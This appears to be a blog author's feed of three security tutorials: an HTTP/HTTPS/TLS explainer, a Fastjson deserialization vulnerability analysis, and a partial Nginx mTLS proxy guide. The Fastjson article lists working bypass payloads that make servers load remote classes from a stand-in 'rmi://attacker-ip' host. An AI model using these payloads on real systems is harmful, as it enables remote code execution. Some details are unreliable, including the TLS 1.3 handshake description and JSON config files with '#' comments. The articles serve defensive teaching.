DEV Community: Tiger Smith

HTTP vs HTTPS vs SSL/TLS: A Comprehensive Guide to Web Security Protocols (with HTTPS Deployment Steps)

Tiger Smith — Mon, 08 Dec 2025 21:48:51 +0000

Have you ever noticed the difference between “http://” and “https://” when typing a URL? What does the small lock icon next to the address bar signify when you make a payment on an e-commerce platform or log into a social media account? In internet communications, terms like HTTP, HTTPS, and SSL/TLS appear frequently—they are not only core technologies safeguarding network security but also “barometers” for ordinary users to perceive online safety.

Source of the article:# HTTP vs HTTPS vs SSL/TLS: A Comprehensive Guide to Web Security Protocols (with HTTPS Deployment Steps)

This guide will break down the relationships and functions of these technologies from the perspectives of protocol essence, working mechanisms, and security logic. It also includes practical HTTPS deployment steps, helping developers, website owners, and tech enthusiasts decode the “security passwords” behind web communications.

I. HTTP: The “Bare” Foundation of Internet Data Transmission

HTTP (Hypertext Transfer Protocol), proposed by Tim Berners-Lee in 1990, is a core protocol in the application layer of the TCP/IP model. It lays the groundwork for web resource transmission as a stateless request-response protocol, defining interaction standards between clients (e.g., browsers) and servers—similar to a standardized “data communication template.” However, security mechanisms were not integrated into its initial design, leaving data transmission in a “plaintext exposed” state.

1.1 The “Request-Response” Workflow of HTTP (Taking Access to tools.devresourcehub.com as an Example)

Request Message Construction: After entering a URL, the browser encapsulates an HTTP request message, consisting of a request line (e.g., “GET /index.html HTTP/1.1”), request headers (e.g., “User-Agent: Mozilla/5.0”, “Cookie: sessionid=xxx”), and an optional request body (carrying form data for POST requests).
TCP Connection Establishment: HTTP relies on the reliable transmission service provided by TCP. The client establishes a connection with the server’s port 80 through a three-way handshake (“SYN→SYN-ACK→ACK”) to ensure the order and integrity of data transmission.
Server Response Processing: Upon receiving the request, the server executes corresponding business logic (e.g., database queries, static resource reading) and generates a response message. This includes a status line (e.g., “HTTP/1.1 200 OK”), response headers (e.g., “Content-Type: text/html; charset=utf-8”, “Content-Length: 1024”), and a response body (resources like HTML, CSS, and JS).
Connection Release and Rendering: The browser parses the response body and completes DOM rendering. If the Keep-Alive persistent connection mechanism of HTTP/1.1 is not enabled, TCP releases the connection through a four-way handshake (“FIN→ACK→FIN→ACK”), requiring a new connection for each subsequent request.

1.2 Three Fatal Flaws of HTTP (Still Plaguing Some Websites Today)

Plaintext Transmission Risk: All communication data is transmitted in ASCII plaintext. Attackers can intercept data packets through ARP spoofing, router sniffing, or other methods to directly extract sensitive information. For example, unencrypted HTTP login requests can be captured by Wireshark on public WiFi, leading to the leakage of account passwords.
Lack of Identity Authentication: The HTTP protocol has no mechanism to verify server identity. Attackers can launch man-in-the-middle attacks by hijacking DNS or setting up fake servers. In a phishing incident, attackers forged a bank’s HTTP website, resulting in the leakage of bank card information from thousands of users.
Compromised Data Integrity: Without a data verification mechanism, attackers can tamper with HTTP messages in transit. For instance, in e-commerce scenarios, an attacker could modify the “Price” field in the response message from $1999 to $99, causing economic losses to the merchant.

⚠️ Key Note: Major browsers like Chrome and Firefox now forcibly mark HTTP websites as “Not Secure,” and Google Search significantly demotes their rankings—using HTTP for website building no longer holds practical value in modern web environments.

II. SSL/TLS: The “Security Shield” of HTTPS, Current Mainstream Algorithms

To address HTTP’s security vulnerabilities, Netscape launched the SSL (Secure Sockets Layer) protocol in 1994. After iterations through SSL 2.0 and 3.0, the IETF standardized it as the TLS (Transport Layer Security) protocol in 1999. Currently, TLS 1.2 remains the most widely compatible base version, while TLS 1.3 has become the optimal choice for performance and security due to optimized handshake processes (reduced from 4 to 2 interactions) and upgraded cipher suites (removing weak algorithms like 3DES and RC4). TLS 1.0 and 1.1 have been fully deprecated by major browsers and server vendors due to security vulnerabilities such as BEAST and POODLE.

2.1 Core Technology: The “Golden Combination” of Symmetric and Asymmetric Encryption

SSL/TLS’s essence lies in combining the advantages of two encryption algorithms to balance “security” and “efficiency”:

Encryption Type	Key Features	Use Cases	Limitations
Symmetric Encryption (e.g., AES-256-GCM)	Single key for encryption/decryption; fast operation (100-1000x faster than asymmetric encryption)	Encrypting large volumes of actual data (web content, files)	Risk of key interception during distribution
Asymmetric Encryption (e.g., ECC/RSA)	Public key (publicly accessible) for encryption; private key (confidential) for decryption; high security	Securely exchanging symmetric keys; verifying server identity	Slow operation; unsuitable for large-scale data encryption

Collaboration Logic: SSL/TLS adopts a hybrid architecture of “asymmetric encryption for key exchange + symmetric encryption for data transmission.” During the handshake phase, asymmetric encryption (e.g., ECC) is used to securely distribute the “pre-master secret,” preventing key interception in transit. After the handshake, both parties generate a session key (symmetric key) based on the pre-master secret and random numbers. All subsequent application-layer data is encrypted using symmetric algorithms like AES-256-GCM, balancing security and transmission efficiency.

2.2 TLS 1.3 Handshake Process (Optimized Version with Only 2 Interactions)

The handshake is the core of SSL/TLS for establishing a secure connection. TLS 1.3 simplifies steps compared to TLS 1.2, significantly improving access speed:

Client Hello: The client sends a message to the server containing a list of supported TLS versions (e.g., TLS 1.3/TLS 1.2), supported cipher suites (e.g., TLS_AES_256_GCM_SHA384, TLS_CHACHA20_POLY1305_SHA256), a 32-byte client random number, and extension fields (e.g., ALPN protocol negotiation).
Server Hello + Certificate + Key Exchange: After selecting the optimal configuration, the server returns a Server Hello message (confirming the TLS version and cipher suite), a digital certificate (issued by a trusted CA, containing the server’s public key, domain name, validity period, etc.), and key exchange parameters (e.g., ECDHE ephemeral public key). The client verifies the validity of the certificate chain using built-in CA root certificates; if verification fails, a browser security warning is triggered.
Key Derivation and Verification: The client encrypts the “pre-master secret” with the server’s public key, then generates a master key using the HKDF (Key Derivation Function) combined with the client random number and server random number. It further derives a session key (for data encryption) and a MAC key (for integrity verification).
Handshake Finished: Both parties encrypt a “Finished” message using the session key, which contains a hash of all messages during the handshake. If the receiver decrypts the message and the hash values match, the handshake is confirmed successful, and the secure channel is officially established.

2.3 Essential Differences Between SSL/TLS Handshake and TCP Three-Way Handshake

Comparison Dimension	SSL/TLS Handshake	TCP Three-Way Handshake
Core Purpose	Establish an encrypted channel, verify identity, exchange keys	Establish a reliable transmission channel, confirm send/receive capabilities
Working Layer	Between transport layer and application layer	Transport layer
Security	Provides eavesdropping prevention, tampering prevention, and forgery prevention	No security mechanisms; only ensures reliable data transmission
Implementation Mechanism	Relies on asymmetric encryption (e.g., RSA), symmetric encryption (e.g., AES), and digital certificates	Based on interactions of three control messages: “SYN”, “SYN-ACK”, “ACK”
Number of Interactions	2 interactions for TLS 1.3; 4 interactions for TLS 1.2	Fixed 3 interactions
Application Scenarios	Secure communication scenarios like HTTPS, FTPS, SMTPS	All TCP-based communication scenarios like HTTP, FTP, Telnet

In simple terms: The TCP three-way handshake “builds a road,” while the SSL/TLS handshake “installs door locks and monitoring on the road.”

III. HTTPS: The Secure Upgrade of HTTP, From Principles to Deployment

HTTPS (HTTP Secure) is a security-enhanced version of the HTTP protocol. By inserting an SSL/TLS encryption layer between HTTP and TCP, it achieves confidentiality, integrity, and identity authentication of application-layer data. It uses port 443 by default and follows an architecture of “encrypted tunnel + plaintext protocol”—SSL/TLS handles underlying encrypted data transmission, while HTTP manages upper-layer application logic interactions. Together, they form the security standard for modern web communications.

3.1 Why HTTPS Is Indispensable Today: Four Core Values

Privacy Protection: Sensitive user data such as login credentials and payment information is transmitted encrypted. Even if intercepted, the data cannot be decrypted.
Trust Endorsement: Verifies website identity through digital certificates issued by trusted CAs (Certificate Authorities), eliminating phishing sites.
SEO Advantage: Google lists HTTPS as a ranking signal. Under the same conditions, HTTPS websites receive over 30% more traffic than HTTP sites.
Compliance Requirements: Regulations such as the EU’s GDPR and China’s Personal Information Protection Law mandate HTTPS for processing sensitive data. Violations can result in fines of up to 4% of global annual turnover.

3.2 Full HTTPS Communication Process (From URL Entry to Webpage Rendering)

The browser initiates a TCP three-way handshake to the server’s port 443 to establish a basic connection.
Both parties perform a TLS 1.3 handshake to negotiate encryption rules and generate a session key.
The browser sends an encrypted HTTP request (e.g., GET /index.html).
The server decrypts the request with the session key, processes it, and returns an encrypted HTTP response.
The browser decrypts the response, parses it, and renders the webpage.
After data transmission is complete, SSL/TLS closes the secure connection, and TCP releases the connection through a four-way handshake.

3.3 Practical HTTPS Deployment Guide (Beginner-Friendly)

💡 Recommended Tools: Let’s Encrypt (free certificates), Certbot (automated deployment), Nginx/Apache (server configuration)

Certificate Application and Verification: Use an ACME protocol client (e.g., Certbot) to connect to Let’s Encrypt and verify domain ownership through DNS-01 or HTTP-01 challenges. For DNS verification, add a TXT record to domain resolution; for HTTP verification, place a specific verification file on the server. Once verified, you can obtain PEM-format files containing the certificate chain (server certificate, intermediate certificate) with a 90-day validity period. Configure a crontab task for automatic renewal (e.g., “0 0 1 * * certbot renew”).
Server Configuration Optimization: For Nginx, in addition to basic SSL configuration, add security enhancements:plaintextssl_protocols TLSv1.2 TLSv1.3; ssl_prefer_server_ciphers on; ssl_ciphers "EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH"; ssl_session_cache shared:SSL:10m; ssl_session_timeout 10m;Here, ssl_protocols explicitly disables older TLS versions, and ssl_ciphers prioritizes forward secrecy algorithms.
HSTS and Redirect Configuration: Add an HSTS response header in the Nginx configuration and set up a 301 permanent redirect from HTTP to HTTPS:plaintextserver {listen 80; server_name example.com; return 301 https://$host$request_uri;} add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;HSTS forces browsers to use HTTPS directly for subsequent visits, preventing SSL stripping attacks.
Post-Deployment Testing and Tuning: Use the SSL Labs Test tool for a security score, aiming for an A+ rating. Common optimization points include enabling OCSP Stapling to reduce certificate verification time, configuring HTTP/2 to improve concurrency performance, and disabling SSL session tickets to avoid key reuse risks.

IV. Common Misconceptions: Pitfalls to Avoid with HTTPS

Q1: Does HTTPS Use Asymmetric Encryption for All Data Transmission?

No. Asymmetric encryption is only used to exchange keys during the handshake phase. Actual data transmission relies on symmetric encryption—using asymmetric encryption for all data would slow down webpage loading by more than 10 times due to its low speed.

Q2: Is HTTPS 100% Secure?

No. HTTPS security depends on end-to-end secure configuration, with three key risk points requiring careful prevention:

Certificate Trust Chain Issues: Self-signed certificates or incorrectly configured intermediate certificates will cause browsers to distrust the site. A company once experienced a 4-hour HTTPS service outage in 2024 due to an expired intermediate certificate.
Vulnerable Cipher Suites: Websites using TLS 1.0 or RC4 algorithms are prone to cracking. An e-commerce platform in 2024 suffered a data breach affecting 100,000 users due to enabling weak cipher suites.
Configuration Defects: Not enabling HSTS may expose the site to SSL stripping attacks, while an incomplete certificate chain increases verification time.Regular security scans (e.g., using OpenVAS) and configuration audits are necessary to ensure the HTTPS environment complies with OWASP security standards.

Q3: Are Free Certificates Less Secure Than Paid Ones?

No difference in security. Free certificates from Let’s Encrypt offer the same encryption strength as paid certificates from Symantec. The only differences are that paid certificates provide enterprise identity verification (EV certificates) and technical support—free certificates are sufficient for personal blogs or small-to-medium enterprises.

V. Conclusion: The Evolution and Future of Web Security Protocols

The evolution from HTTP to HTTPS reflects the transformation of internet security architecture from “function-first” to a “zero-trust” model. As quantum computing technology advances, post-quantum cryptography (PQC) has begun to integrate with the TLS protocol. NIST-recommended algorithms like CRYSTALS-Kyber are gradually becoming standard for key encapsulation to defend against future quantum computing attacks on RSA/ECC algorithms.

For enterprises and developers, HTTPS is not only a compliance requirement but also a core infrastructure for building user trust and ensuring business continuity. A regular security operation and maintenance mechanism should be established, including certificate lifecycle management, encryption algorithm upgrades, and security vulnerability response, to maintain communication security amid technological iterations.

The next time you see the small lock icon in your browser’s address bar, remember: it represents a security barrier jointly constructed by TCP/IP’s reliable transmission, SSL/TLS’s encryption protection, and HTTP’s application interaction. Whether building a website or browsing the web, security is always the top priority of the internet.

Deep Dive into Fastjson Deserialization Vulnerabilities: From Principles to Practical Defense

Tiger Smith — Tue, 25 Nov 2025 14:22:20 +0000

As one of the most widely used JSON parsing libraries in the Java ecosystem, Fastjson is favored for its high performance. However, its deserialization vulnerabilities—especially CVE-2022-25845—have repeatedly led to large-scale security incidents. Attackers only need to construct malicious JSON strings to achieve Remote Code Execution (RCE) and take full control of servers. This article breaks down the vulnerability’s root cause, dissects bypass techniques across versions with hands-on examples, and finally presents enterprise-grade defense strategies to help you eliminate risks completely.

Source of the article:# Deep Dive into Fastjson Deserialization Vulnerabilities: From Principles to Practical Defense

I. Core Principle of Fastjson Vulnerabilities: AutoType Mechanism Is the Root Cause

The deserialization vulnerability in Fastjson essentially stems from security flaws in the AutoType mechanism. Originally designed to simplify the restoration of complex object types, this mechanism was exploited by attackers to load malicious classes and trigger dangerous operations.

1.1 How the AutoType Mechanism Works

When Fastjson parses JSON containing the @type field, it follows these steps:

Extract Class Name: Read the fully qualified name of the target class (e.g., com.sun.rowset.JdbcRowSetImpl) from the @type field.
Class Loading: Load the specified class via ClassLoader, prioritizing cached or configured classes.
Object Instantiation: Create an instance of the class using its default constructor or inject properties via setter methods.
Trigger Dangerous Logic: If the class contains risky methods (such as JNDI lookup or reflective code execution—e.g., setDataSourceName in JdbcRowSetImpl), these methods are automatically invoked during property injection, ultimately leading to RCE.

1.2 Key Exploit Chain for Vulnerabilities

Attackers leverage the combination of automatic setter invocation and JNDI injection:

Automatic Setter Invocation: During deserialization, Fastjson automatically calls the setter methods of all object properties. Even for private properties, adding Feature.SupportNonPublicField enables this invocation.
JNDI Injection: Classes like JdbcRowSetImpl initiate JNDI queries in their setDataSourceName method. If an attacker-controlled RMI/LDAP address is passed, the server will load remote malicious classes and execute malicious code.

II. Practical Guide to Fastjson’s Key APIs: Serialization & Deserialization

Before analyzing vulnerabilities, it’s critical to understand Fastjson’s core API usage—this forms the basis for identifying exploit scenarios.

2.1 Dependency Configuration (Vulnerable vs. Secure Versions)

First, a critical note: All 1.x versions below 1.2.83 and 2.x versions below 2.0.45 have security risks. Vulnerable versions must be avoided in production.

<!-- Dangerous: Versions like 1.2.24 (CVE-2017-18349) and 1.2.47 (cache bypass vulnerability) -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.47</version> <!-- Vulnerable version: DO NOT USE -->
</dependency>

<!-- Secure: Recommend 1.2.83+ for 1.x, 2.0.45+ for 2.x -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.83</version> <!-- Patched version with all known vulnerabilities fixed -->
</dependency>

2.2 Hands-On with Core APIs: Using the `User` Class

We first define a User class with print statements in getters/setters to visually demonstrate when methods are invoked:

package org.example;

public class User {
    private String name;
    private int age;

    // No-arg constructor (required for deserialization; errors occur without it)
    public User() {}

    // Parameterized constructor
    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }

    // Getter: Automatically called during serialization (to read property values)
    public String getName() {System.out.println("Triggered getName(): Reading'name'for serialization");
        return name;
    }

    // Setter: Automatically called during deserialization (to inject property values)
    public void setName(String name) {System.out.println("Triggered setName(): Injecting'name'for deserialization");
        this.name = name;
    }

    // Omitted getter/setter for 'age' (logic matches above)
    public int getAge() { return age;}
    public void setAge(int age) {this.age = age;}

    @Override
    public String toString() {return "User{name='" + name + "', age=" + age + "}";
    }
}

2.2.1 Serialization: Convert Java Objects to JSON

The core method is JSON.toJSONString(), with critical configuration in SerializerFeature (e.g., WriteClassName adds the @type field—this poses hidden risks for deserialization vulnerabilities).

public class FastjsonDemo {public static void main(String[] args) {User user = new User("Zhang San", 25);

        // 1. Basic serialization: No @type field
        String basicJson = JSON.toJSONString(user);
        System.out.println("Basic serialization result:" + basicJson);
        // Output: Triggered getName(): Reading 'name' for serialization → Basic serialization result: {"age":25,"name":"Zhang San"}

        // 2. Serialization with @type (enable WriteClassName)
        String withTypeJson = JSON.toJSONString(
            user, 
            SerializerFeature.WriteClassName, // Add @type field
            SerializerFeature.PrettyFormat    // Format output for readability
        );
        System.out.println("Serialization with @type:\n" + withTypeJson);
        // Output: Triggered getName() → Serialization with @type:
        // {
        //     "@type":"org.example.User",
        //     "age":25,
        //     "name":"Zhang San"
        // }
    }
}

2.2.2 Deserialization: Convert JSON to Java Objects

The core method is JSON.parseObject(), with risks concentrated in Feature.SupportAutoType (enables @type parsing when activated) and Feature.SupportNonPublicField (allows injection of private properties).

public class FastjsonDemo {public static void main(String[] args) {String json = "{"@type":"org.example.User","age":25,"name":"Zhang San"}";

        // 1. Basic deserialization: Specify target class
        User user1 = JSON.parseObject(json, User.class);
        System.out.println("Basic deserialization result:" + user1);
        // Output: Triggered setName(): Injecting 'name' for deserialization → Basic deserialization result: User{name='Zhang San', age=25}

        // 2. Enable AutoType (HIGH RISK! DO NOT use in production)
        User user2 = JSON.parseObject(
            json, 
            User.class, 
            Feature.SupportAutoType // Explicitly enable AutoType (extremely risky)
        );
    }
}

III. Vulnerabilities & Bypass Techniques Across Versions: From 1.2.24 to 1.2.80

Fastjson’s developers have repeatedly patched vulnerabilities, but attackers continue to find bypass methods. The table below summarizes key vulnerabilities and practical payloads for each version—essential references for vulnerability detection and defense.

Affected Versions	Vulnerability Type	Core Bypass Technique	Practical Payload (Key Snippet)	Notes
1.2.24 and earlier	Deserialization RCE	AutoType enabled by default; no blacklist	`{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker-ip:1099/malicious-class","autoCommit":true}`	No extra configuration; triggers JNDI injection directly
1.2.25 ~ 1.2.41	Blacklist Bypass (L;)	Use JVM type descriptor (L-prefixed, ;-suffixed)	`{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://attacker-ip:1099/malicious-class","autoCommit":true}`	Requires server to enable `setAutoTypeSupport(true)`
1.2.42	Double L; Bypass	Double L and ; (LL…;;)	`{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://attacker-ip:1099/malicious-class","autoCommit":true}`	Exploits single-filter flaw; auto-truncates after double characters
1.2.43	[Symbol Bypass	Prefix class name with [, suffix with [{ to close	`{"@type":"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[{,"_bytecodes":["Base64-encoded malicious bytecode"]}`	Requires `Feature.SupportNonPublicField` to inject private properties
1.2.45	MyBatis Class Bypass	Exploit `JndiDataSourceFactory`	`{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://attacker-ip:1099/malicious-class"}}`	Requires MyBatis dependency in the project
1.2.47 and earlier	Cache Poisoning Bypass	Cache malicious class in _classMappings first	`{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker-ip:1099/malicious-class"}}`	AutoType not required; cache skips blacklist checks
1.2.80 and earlier	$ref Reference Chain Bypass	Use $ref to construct exception object chain	(CVE-2022-25845) `{"@type":"java.lang.Exception","@ref":"$..xx"}`	Triggers class loading via exception handling logic

Key Bypass Analysis (Cache Poisoning in 1.2.47)

This is one of the most dangerous bypass methods—it does not require AutoType activation and bypasses blacklists solely via caching. The core logic is:

First JSON object (a): Use the val field of java.lang.Class to store com.sun.rowset.JdbcRowSetImpl in Fastjson’s _classMappings cache.
Second JSON object (b): Directly specify the cached class via @type. Fastjson skips blacklist checks, loads the class, and triggers JNDI injection.

In practice, attackers only need to send the above JSON string. If the target server uses version 1.2.47 or earlier, malicious code will execute.

IV. Enterprise-Grade Defense Strategies: Block Vulnerabilities at the Source

Defense against Fastjson vulnerabilities centers on disabling risky features + timely updates + strict validation. Below are 4 actionable key measures:

1. Mandatorily Upgrade to Secure Versions

This is the most fundamental defense. According to official announcements:

For 1.x series: Upgrade to 1.2.83 or later (patches all known bypass vulnerabilities).
For 2.x series: Upgrade to 2.0.45 or later (the 2.x series redesigned the AutoType mechanism for enhanced security).

2. Disable the AutoType Mechanism (Critical Configuration)

Even after upgrading, disable AutoType unless absolutely necessary. There are 3 configuration methods:

Code Configuration (global effect): // Disable AutoType to block @type parsing ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
JVM Parameter Configuration (takes effect on startup):bash-Dfastjson.autoTypeSupport=false
Configuration File (for frameworks like Spring):Add to application.properties:propertiesfastjson.autoTypeSupport=false

3. Enable SafeMode (Completely Block AutoType)

If your business does not require AutoType, enable SafeMode. This completely disables @type parsing—even with whitelists configured, custom classes cannot be loaded.

// Enable SafeMode to fundamentally disable AutoType
ParserConfig.getGlobalInstance().setSafeMode(true);

4. Whitelist Configuration (If Absolutely Necessary)

If your business must enable AutoType, configure a strict whitelist (only allow specified classes to be parsed) and avoid wildcards (e.g., com.company.*).

ParserConfig config = ParserConfig.getGlobalInstance();
// Add whitelist: Only allow classes under org.example
config.addAccept("org.example.");
// Avoid blacklists (easily bypassed; prioritize whitelists)

V. Frequently Asked Questions (FAQ)

Q1: Why is `Feature.SupportNonPublicField` required for deserializing `TemplatesImpl`?

A: The _bytecodes field of TemplatesImpl (which stores malicious bytecode) is private. Fastjson does not parse private properties by default. Adding this feature allows injection of Base64-encoded malicious bytecode into _bytecodes, triggering subsequent code execution.

Q2: Why must `@type` be the first field in the JSON?

A: Fastjson prioritizes processing the @type field during parsing. If placed later, parsing other fields may trigger exceptions (e.g., type mismatch), preventing @type from being processed and rendering the payload ineffective.

Q3: How to quickly check if a project uses a vulnerable Fastjson version?

A: 1. Check the dependency version in pom.xml or build.gradle; 2. Use tools like the Maven Dependency Plugin to view the dependency tree:

mvn dependency:tree | grep fastjson

Conclusion

Fastjson vulnerabilities arise from the combination of over-trusting user input and security flaws in the AutoType mechanism. For developers, there’s no need to deeply study every bypass technique—simply remember three principles: avoid vulnerable versions, disable AutoType, and enable SafeMode. These measures block vulnerabilities at the source and prevent your systems from becoming attacker targets.

NGINX Technical Practice: Configuration Guide for TCP Layer 4 Port Proxy and mTLS Mutual Encryption Authentication

Tiger Smith — Sun, 23 Nov 2025 15:41:28 +0000

This article systematically breaks down the complete implementation of Nginx TCP Layer 4 port proxy and mTLS mutual encryption authentication. It covers core technical principles (TLS/mTLS mechanisms), certificate generation (root CA/server/client workflows), Nginx configuration (Stream module, SSL parameter optimization), and function verification (valid/invalid connection testing) with practical commands. It helps DevOps engineers and developers quickly build secure communication channels, addressing risks like data leakage and unauthorized access in traditional proxy architectures, suitable for encrypted proxy scenarios of TCP services such as Redis and databases.

Source of the article:# NGINX Technical Practice: Configuration Guide for TCP Layer 4 Port Proxy and mTLS Mutual Encryption Authentication

1. Exploring the Technical Background

In the process of digital transformation, network security and efficient proxy technology have become core components of modern network architectures. As enterprises expand their business scales and business scenarios become more complex, network communications face multiple security threats such as man-in-the-middle attacks, data theft, and information tampering, placing higher demands on the security and reliability of communication architectures.

Traditional network proxy solutions have limitations in addressing complex security scenarios. As a high-performance HTTP and reverse proxy server, Nginx occupies a crucial position in the proxy field due to its stability, efficiency, and rich functional modules. Nginx not only supports Layer 7 proxy for the HTTP protocol but also enables Layer 4 proxy for TCP and UDP protocols through the Stream module, providing a flexible and high-performance solution for network communications.

mTLS (mutual TLS) mutual encryption authentication technology is a key means to ensure secure network communications. Traditional one-way TLS authentication only enables the client to authenticate the server’s identity, posing the risk of attackers impersonating legitimate servers to steal data. mTLS mutual authentication requires both communicating parties to verify each other’s identities. Through a certificate verification mechanism, it ensures the legitimacy of both parties’identities, effectively preventing man-in-the-middle attacks and data leakage, and safeguarding the confidentiality, integrity, and availability of data transmission.

In data-sensitive industries—such as scenarios like customer transaction information processing in the financial sector, private medical record transmission in the healthcare industry, and user information protection on e-commerce platforms—the combined application of Nginx TCP Layer 4 proxy and mTLS mutual authentication holds significant importance. This technical combination not only meets enterprises’demands for network communication performance but also provides comprehensive protection for data security, serving as a core technical support for safeguarding network architecture security during enterprises’digital transformation.

2. Nginx Proxy for TCP Layer 4 Ports

2.1 Preparation

Before configuring the Nginx TCP Layer 4 port proxy, ensure that Nginx has been installed on the server. For Ubuntu systems, the installation can be performed using the following command:

sudo apt update && sudo apt install nginx -y

For CentOS systems, the yum command is used for installation:

sudo yum install epel-release -y && sudo yum install nginx -y

Meanwhile, the OpenSSL dependency library must be installed to provide SSL/TLS encryption support, which is a prerequisite for the subsequent mTLS mutual authentication configuration. The installation command for Ubuntu systems is as follows:

sudo apt install openssl -y

Installation command for CentOS systems:

sudo yum install openssl -y

After installation, run the nginx -V command to check the Nginx compilation parameters and confirm whether the --with-stream module is included. This module is the core component for implementing TCP/UDP Layer 4 proxy; if it is missing, Nginx needs to be recompiled with this parameter added.

2.2 Detailed Configuration Steps

Create a dedicated Stream configuration directoryTo maintain the clarity and manageability of the Nginx configuration structure, create a dedicated directory for storing Stream module configuration files: 1.

sudo mkdir -p /etc/nginx/stream.d

Modify the main Nginx configuration fileEdit the main Nginx configuration file (/etc/nginx/nginx.conf) and add an entry to include the Stream configuration directory at the end of the file. This ensures that Nginx loads the TCP proxy configuration when starting up:

# Add the following content at the end of /etc/nginx/nginx.conf
stream {include /etc/nginx/stream.d/*.conf;}

Configure the TCP Layer 4 proxyCreate a TCP proxy configuration file (e.g., redis-proxy.conf) in the /etc/nginx/stream.d directory. Taking the proxy for a Redis service (running on 192.168.1.100:6379) as an example, the configuration content is as follows:

upstream redis_backend {
    server 192.168.1.100:6379; # Backend Redis service address and port
    keepalive 32; # Maintain persistent connections to improve performance
}

server {
    listen 6380; # Port on which Nginx listens for TCP requests
    proxy_pass redis_backend; # Forward requests to the backend upstream cluster
    proxy_timeout 300s; # Set the proxy connection timeout period
    proxy_buffer_size 16k; # Set the proxy buffer size
}

2.3 Configuration Example Demonstration

After completing the configuration, verify the correctness of the Nginx configuration using the following command:

sudo nginx -t

If the output shows nginx: configuration file /etc/nginx/nginx.conf test is successful, the configuration is valid. Then, reload the Nginx configuration to make the changes take effect:

sudo systemctl reload nginx

To confirm that the TCP proxy port is listening normally, run the ss command to check the port status:

ss -tulnp | grep 6380

If the output includes LISTEN 0 128 *:6380 *:* users:(("nginx",pid=xxxx,fd=xx)), it indicates that the Nginx TCP Layer 4 proxy has been started successfully.

3. Enabling mTLS Mutual Encryption Authentication

3.1 Analysis of mTLS Principles

mTLS (mutual TLS) extends the security mechanism of traditional one-way TLS by requiring both the client and the server to present and verify each other’s digital certificates during the TLS handshake process. This two-way identity verification ensures that:

The client can confirm that the connected server is a legitimate target (preventing man-in-the-middle attacks by fake servers);
The server can verify that the accessing client has the required access permissions (avoiding unauthorized access by malicious clients).

The core principle of mTLS relies on a trusted certificate chain: both parties’certificates are issued by a trusted Certificate Authority (CA). During authentication, each party verifies the validity of the other’s certificate (including checking the certificate’s expiration date, signature integrity, and whether it has been revoked) to confirm the other’s identity.

3.2 Generating Certificates and Keys

This section uses the CFSSL tool (a command-line toolset for TLS/SSL certificate management) to generate the required certificates for mTLS, including the root CA certificate, server certificate, and client certificate.

3.2.1 Installing the CFSSL Tool

Download and install the CFSSL toolset in the /usr/local/bin directory (applicable to Linux x86_64 systems):

wget -q -O /usr/local/bin/cfssl https://github.com/cloudflare/cfssl/releases/download/v1.6.4/cfssl_1.6.4_linux_amd64
wget -q -O /usr/local/bin/cfssljson https://github.com/cloudflare/cfssl/releases/download/v1.6.4/cfssljson_1.6.4_linux_amd64
wget -q -O /usr/local/bin/cfssl-certinfo https://github.com/cloudflare/cfssl/releases/download/v1.6.4/cfssl-certinfo_1.6.4_linux_amd64

# Add executable permissions to the tools
chmod +x /usr/local/bin/cfssl /usr/local/bin/cfssljson /usr/local/bin/cfssl-certinfo

Verify the installation by running cfssl version; a version number output indicates successful installation.

3.2.2 Generating the Root CA Certificate

Create a CA configuration directory

mkdir -p /etc/nginx/certs && cd /etc/nginx/certs

Create the CA policy file (ca-config.json) This file defines the validity period and usage scope of the certificates issued by the CA:

{
    "signing": {
        "default": {"expiry": "87600h" # Root CA validity period (10 years)
        },
        "profiles": {
            "server": {"expiry": "43800h", # Server certificate validity period (5 years)
                "usages": [
                    "signing",
                    "key encipherment",
                    "server auth" # Certificate usage: server authentication
                ]
            },
            "client": {"expiry": "43800h", # Client certificate validity period (5 years)
                "usages": [
                    "signing",
                    "key encipherment",
                    "client auth" # Certificate usage: client authentication
                ]
            }
        }
    }
}

Create the CA certificate signing request (CSR) configuration file (ca-csr.json) This file contains the basic information of the root CA (such as organization name and region):

{
    "CN": "MyEnterpriseRootCA", # Common Name of the root CA
    "key": {
        "algo": "rsa", # Encryption algorithm: RSA
        "size": 2048 # Key length: 2048 bits
    },
    "names": [
        {
            "C": "CN", # Country/Region
            "L": "Beijing", # City
            "ST": "Beijing", # Province/State
            "O": "MyEnterprise", # Organization name
            "OU": "IT Department" # Organizational Unit
        }
    ],
    "ca": {"expiry": "87600h"}
}

Generate the root CA certificate and private key

cfssl gencert -initca ca-csr.json | cfssljson -bare ca

After execution, the following files will be generated in the current directory:

ca.pem: Root CA public certificate (used to verify server/client certificates)
ca-key.pem: Root CA private key (used to sign server/client certificates; keep it secure)
ca.csr: CA certificate signing request file (for reference only)

3.2.3 Generating the Server Certificate

Create the server CSR configuration file (server-csr.json) Note that the hosts field must include the actual domain name or IP address of the Nginx server (to ensure certificate domain verification passes):

{"CN": "nginx-proxy.example.com", # Common Name of the server (consistent with the access domain name)
    "key": {
        "algo": "rsa",
        "size": 2048
    },
    "names": [
        {
            "C": "CN",
            "L": "Beijing",
            "ST": "Beijing",
            "O": "MyEnterprise",
            "OU": "IT Department"
        }
    ],
    "hosts": [
        "127.0.0.1",
        "192.168.1.200", # Nginx server IP address
        "nginx-proxy.example.com" # Nginx server domain name
    ]
}

Generate the server certificate and private keyUse the root CA to sign the server certificate:

cfssl gencert -ca=ca.pem -ca-key=ca-key.pem -config=ca-config.json -profile=server server-csr.json | cfssljson -bare server

Generated files:

server.pem: Server public certificate
server-key.pem: Server private key

3.2.4 Generating the Client Certificate

Create the client CSR configuration file (client-csr.json)

{"CN": "mtls-client-001", # Client identifier (can be customized, e.g., client ID)
    "key": {
        "algo": "rsa",
